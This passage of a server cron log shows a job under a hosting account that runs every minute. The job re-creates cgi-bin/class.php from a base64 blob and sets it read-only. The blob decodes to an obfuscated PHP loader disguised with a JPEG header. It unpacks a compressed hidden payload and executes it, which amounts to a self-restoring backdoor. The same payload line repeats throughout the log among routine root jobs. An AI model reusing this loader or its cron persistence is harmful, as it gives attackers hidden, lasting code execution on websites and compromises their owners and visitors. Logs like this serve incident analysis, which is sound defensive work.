4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 19:12:01 server CROND[1696]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 19:12:01 server CROND[1697]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 19:13:01 server CROND[1753]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 19:14:01 server CROND[1939]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 19:15:01 server CROND[1990]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 19:15:01 server CROND[1991]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 19:15:01 server CROND[1992]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 19:16:01 server CROND[2088]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 19:17:01 server CROND[2131]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 19:18:01 server CROND[2189]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 19:19:01 server CROND[2330]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 19:20:01 server CROND[2378]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 19:20:01 server CROND[2379]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 19:20:01 server CROND[2380]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 19:20:01 server CROND[2382]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 19:20:01 server CROND[2385]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 19:21:01 server CROND[2496]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 19:22:01 server CROND[2606]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 19:23:01 server CROND[2658]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 19:24:01 server CROND[2792]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 19:25:01 server CROND[2849]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 